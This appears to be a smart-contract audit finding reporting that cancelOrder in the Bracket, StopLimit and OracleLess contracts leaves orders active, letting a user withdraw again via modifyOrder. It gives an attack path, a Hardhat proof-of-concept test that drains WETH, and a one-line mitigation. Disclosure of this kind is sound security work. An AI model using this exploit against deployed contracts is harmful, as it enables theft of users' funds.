082.md

Bald Honeysuckle Urchin

High

A malicious user can steal all funds from Bracket, StopLimit and OracleLess contract

Summary

A vulnerability was discovered in Bracket::cancelOrder where orderIds are removed from the pendingOrderIds, but it still remains active. Similar cases in StopLimit and OracleLess, where orders remain active even after cancelling them

Root Cause

In Bracket::cancelOrder, orderId is removed from the pendingOrderIds, but the order is not deleted. So when the user calls modifyOrder with the same orderId and increasePosition false, he can still pull funds from the contract. Same case for StopLimit and OracleLess.

Attack Path

1. User creates an order calling createOrder
2. User cancels the order calling cancelOrder, user gets all of his funds back from that order
3. User now calls modifyOrder with argument increasePosition to false and amountInDelta such that it passes the condition in line 264 User can do this repeatedly and steal all the funds stored in the contract

Impact

1. All the funds of all users will be lost if a malicious user do this continuously

PoC

Paste the following code in test/triggerV2/happyPath.ts:

it("Steal funds", async () => {
        await stealMoney(s.wethWhale, await s.Frank.getAddress(), await s.WETH.getAddress(), s.wethAmount)
        await stealMoney(s.wethWhale, await s.Bracket.getAddress(), await s.WETH.getAddress(), s.wethAmount * 2n)

        const wethBalanceBefore = await s.WETH.balanceOf(await s.Frank.getAddress())
        console.log("Weth balance before: ", wethBalanceBefore)

        const currentPrice = await s.Master.getExchangeRate(await s.WETH.getAddress(), await s.USDC.getAddress())

        await s.WETH.connect(s.Frank).approve(await s.Bracket.getAddress(), s.wethAmount)
        await s.Bracket.connect(s.Frank).createOrder(
            "0x",
            currentPrice,
            currentPrice + BigInt(1e18),
            s.wethAmount,
            await s.WETH.getAddress(),
            await s.USDC.getAddress(),
            await s.Frank.getAddress(),
            5,
            500,
            500,
            false,
            "0x"
        )

        const filter = s.Bracket.filters.OrderCreated
        const events = await s.Bracket.queryFilter(filter, -1)
        const event = events[0].args
        orderId = (event[0])

        await s.Bracket.connect(s.Frank).cancelOrder(orderId)

        const wethBalanceAfterCancel = await s.WETH.balanceOf(await s.Frank.getAddress())
        console.log("Weth balance After cancel order: ", wethBalanceAfterCancel)

        expect(wethBalanceBefore).to.eq(wethBalanceAfterCancel)

        await s.Bracket.connect(s.Frank).modifyOrder(
            orderId.toString(),
            currentPrice,
            currentPrice + BigInt(1e18),
            s.wethAmount / 2n,
            await s.USDC.getAddress(),
            s.Frank,
            500,
            500,
            false,
            false,
            "0x"
        )

        const wethBalanceAfterModify = await s.WETH.balanceOf(await s.Frank.getAddress())

        console.log("Weth balance After modify order: ", wethBalanceAfterModify)
        // frank now has more funds than he had initially
        expect(wethBalanceAfterModify).to.greaterThan(wethBalanceBefore)
    })

run npm run test

Mitigation

delete the order after transferring funds in _cancelOrder:

function _cancelOrder(Order memory order) internal returns (bool) {
        for (uint96 i = 0; i < pendingOrderIds.length; i++) {
            if (pendingOrderIds[i] == order.orderId) {
                //remove from pending array
                pendingOrderIds = ArrayMutation.removeFromArray(
                    i,
                    pendingOrderIds
                );

                //refund tokenIn amountIn to recipient
                order.tokenIn.safeTransfer(order.recipient, order.amountIn);

                //emit event
                emit OrderCancelled(order.orderId);
+               delete orders[orderId];
                return true;
            }
        }
        return false;
    }